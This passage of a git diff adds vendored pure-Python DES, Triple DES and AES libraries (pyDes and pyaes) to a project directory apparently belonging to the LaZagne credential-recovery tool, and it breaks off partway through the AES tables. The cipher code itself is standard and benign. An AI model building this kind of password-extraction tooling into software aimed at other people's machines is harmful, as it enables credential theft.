+ ]
+
+ # The (in)famous S-boxes
+ __sbox = [
+ # S1
+ [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
+ 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
+ 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
+ 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13],
+
+ # S2
+ [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
+ 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
+ 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
+ 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9],
+
+ # S3
+ [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
+ 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
+ 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
+ 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12],
+
+ # S4
+ [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
+ 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
+ 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
+ 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14],
+
+ # S5
+ [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
+ 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
+ 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
+ 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3],
+
+ # S6
+ [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
+ 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
+ 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
+ 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13],
+
+ # S7
+ [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
+ 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
+ 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
+ 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12],
+
+ # S8
+ [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
+ 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
+ 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
+ 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11],
+ ]
+
+
+ # 32-bit permutation function P used on the output of the S-boxes
+ __p = [
+ 15, 6, 19, 20, 28, 11,
+ 27, 16, 0, 14, 22, 25,
+ 4, 17, 30, 9, 1, 7,
+ 23,13, 31, 26, 2, 8,
+ 18, 12, 29, 5, 21, 10,
+ 3, 24
+ ]
+
+ # final permutation IP^-1
+ __fp = [
+ 39, 7, 47, 15, 55, 23, 63, 31,
+ 38, 6, 46, 14, 54, 22, 62, 30,
+ 37, 5, 45, 13, 53, 21, 61, 29,
+ 36, 4, 44, 12, 52, 20, 60, 28,
+ 35, 3, 43, 11, 51, 19, 59, 27,
+ 34, 2, 42, 10, 50, 18, 58, 26,
+ 33, 1, 41, 9, 49, 17, 57, 25,
+ 32, 0, 40, 8, 48, 16, 56, 24
+ ]
+
+ # Type of crypting being done
+ ENCRYPT = 0x00
+ DECRYPT = 0x01
+
+ # Initialisation
+ def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
+ # Sanity checking of arguments.
+ if len(key) != 8:
+ raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.")
+ _baseDes.__init__(self, mode, IV, pad, padmode)
+ self.key_size = 8
+
+ self.L = []
+ self.R = []
+ self.Kn = [ [0] * 48 ] * 16 # 16 48-bit keys (K1 - K16)
+ self.final = []
+
+ self.setKey(key)
+
+ def setKey(self, key):
+ """Will set the crypting key for this object. Must be 8 bytes."""
+ _baseDes.setKey(self, key)
+ self.__create_sub_keys()
+
+ def __String_to_BitList(self, data):
+ """Turn the string data, into a list of bits (1, 0)'s"""
+ if _pythonMajorVersion < 3:
+ # Turn the strings into integers. Python 3 uses a bytes
+ # class, which already has this behaviour.
+ data = [ord(c) for c in data]
+ l = len(data) * 8
+ result = [0] * l
+ pos = 0
+ for ch in data:
+ i = 7
+ while i >= 0:
+ if ch & (1 << i) != 0:
+ result[pos] = 1
+ else:
+ result[pos] = 0
+ pos += 1
+ i -= 1
+
+ return result
+
+ def __BitList_to_String(self, data):
+ """Turn the list of bits -> data, into a string"""
+ result = []
+ pos = 0
+ c = 0
+ while pos < len(data):
+ c += data[pos] << (7 - (pos % 8))
+ if (pos % 8) == 7:
+ result.append(c)
+ c = 0
+ pos += 1
+
+ if _pythonMajorVersion < 3:
+ return ''.join([ chr(c) for c in result ])
+ else:
+ return bytes(result)
+
+ def __permutate(self, table, block):
+ """Permutate this block with the specified table"""
+ return list(map(lambda x: block[x], table))
+
+ # Transform the secret key, so that it is ready for data processing
+ # Create the 16 subkeys, K[1] - K[16]
+ def __create_sub_keys(self):
+ """Create the 16 subkeys K[1] to K[16] from the given key"""
+ key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey()))
+ i = 0
+ # Split into Left and Right sections
+ self.L = key[:28]
+ self.R = key[28:]
+ while i < 16:
+ j = 0
+ # Perform circular left shifts
+ while j < des.__left_rotations[i]:
+ self.L.append(self.L[0])
+ del self.L[0]
+
+ self.R.append(self.R[0])
+ del self.R[0]
+
+ j += 1
+
+ # Create one of the 16 subkeys through pc2 permutation
+ self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R)
+
+ i += 1
+
+ # Main part of the encryption algorithm, the number cruncher :)
+ def __des_crypt(self, block, crypt_type):
+ """Crypt the block of data through DES bit-manipulation"""
+ block = self.__permutate(des.__ip, block)
+ self.L = block[:32]
+ self.R = block[32:]
+
+ # Encryption starts from Kn[1] through to Kn[16]
+ if crypt_type == des.ENCRYPT:
+ iteration = 0
+ iteration_adjustment = 1
+ # Decryption starts from Kn[16] down to Kn[1]
+ else:
+ iteration = 15
+ iteration_adjustment = -1
+
+ i = 0
+ while i < 16:
+ # Make a copy of R[i-1], this will later become L[i]
+ tempR = self.R[:]
+
+ # Permutate R[i - 1] to start creating R[i]
+ self.R = self.__permutate(des.__expansion_table, self.R)
+
+ # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here
+ self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration]))
+ B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]]
+ # Optimization: Replaced below commented code with above
+ #j = 0
+ #B = []
+ #while j < len(self.R):
+ # self.R[j] = self.R[j] ^ self.Kn[iteration][j]
+ # j += 1
+ # if j % 6 == 0:
+ # B.append(self.R[j-6:j])
+
+ # Permutate B[1] to B[8] using the S-Boxes
+ j = 0
+ Bn = [0] * 32
+ pos = 0
+ while j < 8:
+ # Work out the offsets
+ m = (B[j][0] << 1) + B[j][5]
+ n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4]
+
+ # Find the permutation value
+ v = des.__sbox[j][(m << 4) + n]
+
+ # Turn value into bits, add it to result: Bn
+ Bn[pos] = (v & 8) >> 3
+ Bn[pos + 1] = (v & 4) >> 2
+ Bn[pos + 2] = (v & 2) >> 1
+ Bn[pos + 3] = v & 1
+
+ pos += 4
+ j += 1
+
+ # Permutate the concatination of B[1] to B[8] (Bn)
+ self.R = self.__permutate(des.__p, Bn)
+
+ # Xor with L[i - 1]
+ self.R = list(map(lambda x, y: x ^ y, self.R, self.L))
+ # Optimization: This now replaces the below commented code
+ #j = 0
+ #while j < len(self.R):
+ # self.R[j] = self.R[j] ^ self.L[j]
+ # j += 1
+
+ # L[i] becomes R[i - 1]
+ self.L = tempR
+
+ i += 1
+ iteration += iteration_adjustment
+
+ # Final permutation of R[16]L[16]
+ self.final = self.__permutate(des.__fp, self.R + self.L)
+ return self.final
+
+
+ # Data to be encrypted/decrypted
+ def crypt(self, data, crypt_type):
+ """Crypt the data in blocks, running it through des_crypt()"""
+
+ # Error check the data
+ if not data:
+ return ''
+ if len(data) % self.block_size != 0:
+ if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks
+ raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.")
+ if not self.getPadding():
+ raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character")
+ else:
+ data += (self.block_size - (len(data) % self.block_size)) * self.getPadding()
+ # print "Len of data: %f" % (len(data) / self.block_size)
+
+ if self.getMode() == CBC:
+ if self.getIV():
+ iv = self.__String_to_BitList(self.getIV())
+ else:
+ raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering")
+
+ # Split the data into blocks, crypting each one seperately
+ i = 0
+ dict = {}
+ result = []
+ #cached = 0
+ #lines = 0
+ while i < len(data):
+ # Test code for caching encryption results
+ #lines += 1
+ #if dict.has_key(data[i:i+8]):
+ #print "Cached result for: %s" % data[i:i+8]
+ # cached += 1
+ # result.append(dict[data[i:i+8]])
+ # i += 8
+ # continue
+
+ block = self.__String_to_BitList(data[i:i+8])
+
+ # Xor with IV if using CBC mode
+ if self.getMode() == CBC:
+ if crypt_type == des.ENCRYPT:
+ block = list(map(lambda x, y: x ^ y, block, iv))
+ #j = 0
+ #while j < len(block):
+ # block[j] = block[j] ^ iv[j]
+ # j += 1
+
+ processed_block = self.__des_crypt(block, crypt_type)
+
+ if crypt_type == des.DECRYPT:
+ processed_block = list(map(lambda x, y: x ^ y, processed_block, iv))
+ #j = 0
+ #while j < len(processed_block):
+ # processed_block[j] = processed_block[j] ^ iv[j]
+ # j += 1
+ iv = block
+ else:
+ iv = processed_block
+ else:
+ processed_block = self.__des_crypt(block, crypt_type)
+
+
+ # Add the resulting crypted block to our list
+ #d = self.__BitList_to_String(processed_block)
+ #result.append(d)
+ result.append(self.__BitList_to_String(processed_block))
+ #dict[data[i:i+8]] = d
+ i += 8
+
+ # print "Lines: %d, cached: %d" % (lines, cached)
+
+ # Return the full crypted string
+ if _pythonMajorVersion < 3:
+ return ''.join(result)
+ else:
+ return bytes.fromhex('').join(result)
+
+ def encrypt(self, data, pad=None, padmode=None):
+ """encrypt(data, [pad], [padmode]) -> bytes
+
+ data : Bytes to be encrypted
+ pad : Optional argument for encryption padding. Must only be one byte
+ padmode : Optional argument for overriding the padding mode.
+
+ The data must be a multiple of 8 bytes and will be encrypted
+ with the already specified key. Data does not have to be a
+ multiple of 8 bytes if the padding character is supplied, or
+ the padmode is set to PAD_PKCS5, as bytes will then added to
+ ensure the be padded data is a multiple of 8 bytes.
+ """
+ data = self._guardAgainstUnicode(data)
+ if pad is not None:
+ pad = self._guardAgainstUnicode(pad)
+ data = self._padData(data, pad, padmode)
+ return self.crypt(data, des.ENCRYPT)
+
+ def decrypt(self, data, pad=None, padmode=None):
+ """decrypt(data, [pad], [padmode]) -> bytes
+
+ data : Bytes to be decrypted
+ pad : Optional argument for decryption padding. Must only be one byte
+ padmode : Optional argument for overriding the padding mode.
+
+ The data must be a multiple of 8 bytes and will be decrypted
+ with the already specified key. In PAD_NORMAL mode, if the
+ optional padding character is supplied, then the un-encrypted
+ data will have the padding characters removed from the end of
+ the bytes. This pad removal only occurs on the last 8 bytes of
+ the data (last data block). In PAD_PKCS5 mode, the special
+ padding end markers will be removed from the data after decrypting.
+ """
+ data = self._guardAgainstUnicode(data)
+ if pad is not None:
+ pad = self._guardAgainstUnicode(pad)
+ data = self.crypt(data, des.DECRYPT)
+ return self._unpadData(data, pad, padmode)
+
+
+
+#############################################################################
+# Triple DES #
+#############################################################################
+class triple_des(_baseDes):
+ """Triple DES encryption/decrytpion class
+
+ This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or
+ the DES-EDE2 (when a 16 byte key is supplied) encryption methods.
+ Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.
+
+ pyDes.des(key, [mode], [IV])
+
+ key -> Bytes containing the encryption key, must be either 16 or
+ 24 bytes long
+ mode -> Optional argument for encryption type, can be either pyDes.ECB
+ (Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
+ IV -> Optional Initial Value bytes, must be supplied if using CBC mode.
+ Must be 8 bytes in length.
+ pad -> Optional argument, set the pad character (PAD_NORMAL) to use
+ during all encrypt/decrypt operations done with this instance.
+ padmode -> Optional argument, set the padding mode (PAD_NORMAL or
+ PAD_PKCS5) to use during all encrypt/decrypt operations done
+ with this instance.
+ """
+ def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
+ _baseDes.__init__(self, mode, IV, pad, padmode)
+ self.setKey(key)
+
+ def setKey(self, key):
+ """Will set the crypting key for this object. Either 16 or 24 bytes long."""
+ self.key_size = 24 # Use DES-EDE3 mode
+ if len(key) != self.key_size:
+ if len(key) == 16: # Use DES-EDE2 mode
+ self.key_size = 16
+ else:
+ raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long")
+ if self.getMode() == CBC:
+ if not self.getIV():
+ # Use the first 8 bytes of the key
+ self._iv = key[:self.block_size]
+ if len(self.getIV()) != self.block_size:
+ raise ValueError("Invalid IV, must be 8 bytes in length")
+ self.__key1 = des(key[:8], self._mode, self._iv,
+ self._padding, self._padmode)
+ self.__key2 = des(key[8:16], self._mode, self._iv,
+ self._padding, self._padmode)
+ if self.key_size == 16:
+ self.__key3 = self.__key1
+ else:
+ self.__key3 = des(key[16:], self._mode, self._iv,
+ self._padding, self._padmode)
+ _baseDes.setKey(self, key)
+
+ # Override setter methods to work on all 3 keys.
+
+ def setMode(self, mode):
+ """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
+ _baseDes.setMode(self, mode)
+ for key in (self.__key1, self.__key2, self.__key3):
+ key.setMode(mode)
+
+ def setPadding(self, pad):
+ """setPadding() -> bytes of length 1. Padding character."""
+ _baseDes.setPadding(self, pad)
+ for key in (self.__key1, self.__key2, self.__key3):
+ key.setPadding(pad)
+
+ def setPadMode(self, mode):
+ """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
+ _baseDes.setPadMode(self, mode)
+ for key in (self.__key1, self.__key2, self.__key3):
+ key.setPadMode(mode)
+
+ def setIV(self, IV):
+ """Will set the Initial Value, used in conjunction with CBC mode"""
+ _baseDes.setIV(self, IV)
+ for key in (self.__key1, self.__key2, self.__key3):
+ key.setIV(IV)
+
+ def encrypt(self, data, pad=None, padmode=None):
+ """encrypt(data, [pad], [padmode]) -> bytes
+
+ data : bytes to be encrypted
+ pad : Optional argument for encryption padding. Must only be one byte
+ padmode : Optional argument for overriding the padding mode.
+
+ The data must be a multiple of 8 bytes and will be encrypted
+ with the already specified key. Data does not have to be a
+ multiple of 8 bytes if the padding character is supplied, or
+ the padmode is set to PAD_PKCS5, as bytes will then added to
+ ensure the be padded data is a multiple of 8 bytes.
+ """
+ ENCRYPT = des.ENCRYPT
+ DECRYPT = des.DECRYPT
+ data = self._guardAgainstUnicode(data)
+ if pad is not None:
+ pad = self._guardAgainstUnicode(pad)
+ # Pad the data accordingly.
+ data = self._padData(data, pad, padmode)
+ if self.getMode() == CBC:
+ self.__key1.setIV(self.getIV())
+ self.__key2.setIV(self.getIV())
+ self.__key3.setIV(self.getIV())
+ i = 0
+ result = []
+ while i < len(data):
+ block = self.__key1.crypt(data[i:i+8], ENCRYPT)
+ block = self.__key2.crypt(block, DECRYPT)
+ block = self.__key3.crypt(block, ENCRYPT)
+ self.__key1.setIV(block)
+ self.__key2.setIV(block)
+ self.__key3.setIV(block)
+ result.append(block)
+ i += 8
+ if _pythonMajorVersion < 3:
+ return ''.join(result)
+ else:
+ return bytes.fromhex('').join(result)
+ else:
+ data = self.__key1.crypt(data, ENCRYPT)
+ data = self.__key2.crypt(data, DECRYPT)
+ return self.__key3.crypt(data, ENCRYPT)
+
+ def decrypt(self, data, pad=None, padmode=None):
+ """decrypt(data, [pad], [padmode]) -> bytes
+
+ data : bytes to be encrypted
+ pad : Optional argument for decryption padding. Must only be one byte
+ padmode : Optional argument for overriding the padding mode.
+
+ The data must be a multiple of 8 bytes and will be decrypted
+ with the already specified key. In PAD_NORMAL mode, if the
+ optional padding character is supplied, then the un-encrypted
+ data will have the padding characters removed from the end of
+ the bytes. This pad removal only occurs on the last 8 bytes of
+ the data (last data block). In PAD_PKCS5 mode, the special
+ padding end markers will be removed from the data after
+ decrypting, no pad character is required for PAD_PKCS5.
+ """
+ ENCRYPT = des.ENCRYPT
+ DECRYPT = des.DECRYPT
+ data = self._guardAgainstUnicode(data)
+ if pad is not None:
+ pad = self._guardAgainstUnicode(pad)
+ if self.getMode() == CBC:
+ self.__key1.setIV(self.getIV())
+ self.__key2.setIV(self.getIV())
+ self.__key3.setIV(self.getIV())
+ i = 0
+ result = []
+ while i < len(data):
+ iv = data[i:i+8]
+ block = self.__key3.crypt(iv, DECRYPT)
+ block = self.__key2.crypt(block, ENCRYPT)
+ block = self.__key1.crypt(block, DECRYPT)
+ self.__key1.setIV(iv)
+ self.__key2.setIV(iv)
+ self.__key3.setIV(iv)
+ result.append(block)
+ i += 8
+ if _pythonMajorVersion < 3:
+ data = ''.join(result)
+ else:
+ data = bytes.fromhex('').join(result)
+ else:
+ data = self.__key3.crypt(data, DECRYPT)
+ data = self.__key2.crypt(data, ENCRYPT)
+ data = self.__key1.crypt(data, DECRYPT)
+ return self._unpadData(data, pad, padmode)
diff --git a/foreign/client_handling/lazagne/config/crypto/pyaes/__init__.py b/foreign/client_handling/lazagne/config/crypto/pyaes/__init__.py
new file mode 100644
index 0000000..5712f79
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/crypto/pyaes/__init__.py
@@ -0,0 +1,53 @@
+# The MIT License (MIT)
+#
+# Copyright (c) 2014 Richard Moore
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+
+# This is a pure-Python implementation of the AES algorithm and AES common
+# modes of operation.
+
+# See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard
+# See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
+
+
+# Supported key sizes:
+# 128-bit
+# 192-bit
+# 256-bit
+
+
+# Supported modes of operation:
+# ECB - Electronic Codebook
+# CBC - Cipher-Block Chaining
+# CFB - Cipher Feedback
+# OFB - Output Feedback
+# CTR - Counter
+
+# See the README.md for API details and general information.
+
+# Also useful, PyCrypto, a crypto library implemented in C with Python bindings:
+# https://www.dlitz.net/software/pycrypto/
+
+
+VERSION = [1, 3, 0]
+
+from .aes import AES, AESModeOfOperationCTR, AESModeOfOperationCBC, AESModeOfOperationCFB, AESModeOfOperationECB, AESModeOfOperationOFB, AESModesOfOperation, Counter
+from .blockfeeder import decrypt_stream, Decrypter, encrypt_stream, Encrypter
+from .blockfeeder import PADDING_NONE, PADDING_DEFAULT
diff --git a/foreign/client_handling/lazagne/config/crypto/pyaes/aes.py b/foreign/client_handling/lazagne/config/crypto/pyaes/aes.py
new file mode 100644
index 0000000..135f275
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/crypto/pyaes/aes.py
@@ -0,0 +1,589 @@
+# The MIT License (MIT)
+#
+# Copyright (c) 2014 Richard Moore
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+
+# This is a pure-Python implementation of the AES algorithm and AES common
+# modes of operation.
+
+# See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard
+
+# Honestly, the best description of the modes of operations are the wonderful
+# diagrams on Wikipedia. They explain in moments what my words could never
+# achieve. Hence the inline documentation here is sparer than I'd prefer.
+# See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
+
+# Also useful, PyCrypto, a crypto library implemented in C with Python bindings:
+# https://www.dlitz.net/software/pycrypto/
+
+
+# Supported key sizes:
+# 128-bit
+# 192-bit
+# 256-bit
+
+
+# Supported modes of operation:
+# ECB - Electronic Codebook
+# CBC - Cipher-Block Chaining
+# CFB - Cipher Feedback
+# OFB - Output Feedback
+# CTR - Counter
+
+
+# See the README.md for API details and general information.
+
+
+import copy
+import struct
+
+__all__ = ["AES", "AESModeOfOperationCTR", "AESModeOfOperationCBC", "AESModeOfOperationCFB",
+ "AESModeOfOperationECB", "AESModeOfOperationOFB", "AESModesOfOperation", "Counter"]
+
+
+def _compact_word(word):
+ return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3]
+
+def _string_to_bytes(text):
+ return list(ord(c) for c in text)
+
+def _bytes_to_string(binary):
+ return "".join(chr(b) for b in binary)
+
+def _concat_list(a, b):
+ return a + b
+
+
+# Python 3 compatibility
+try:
+ xrange
+except NameError:
+ xrange = range
+
+ # Python 3 supports bytes, which is already an array of integers
+ def _string_to_bytes(text):
+ if isinstance(text, bytes):
+ return text
+ return [ord(c) for c in text]
+
+ # In Python 3, we return bytes
+ def _bytes_to_string(binary):
+ return bytes(binary)
+
+ # Python 3 cannot concatenate a list onto a bytes, so we bytes-ify it first
+ def _concat_list(a, b):
+ return a + bytes(b)
+
+
+# Based *largely* on the Rijndael implementation
+# See: http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf
+class AES(object):
+ '''Encapsulates the AES block cipher.
+
+ You generally should not need this. Use the AESModeOfOperation classes
+ below instead.'''
+
+ # Number of rounds by keysize
+ number_of_rounds = {16: 10, 24: 12, 32: 14}
+
+ # Round constant words
+ rcon = [ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 ]
+
+ # S-box and Inverse S-box (S is for Substitution)
+ S = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 ]
+ Si =[ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 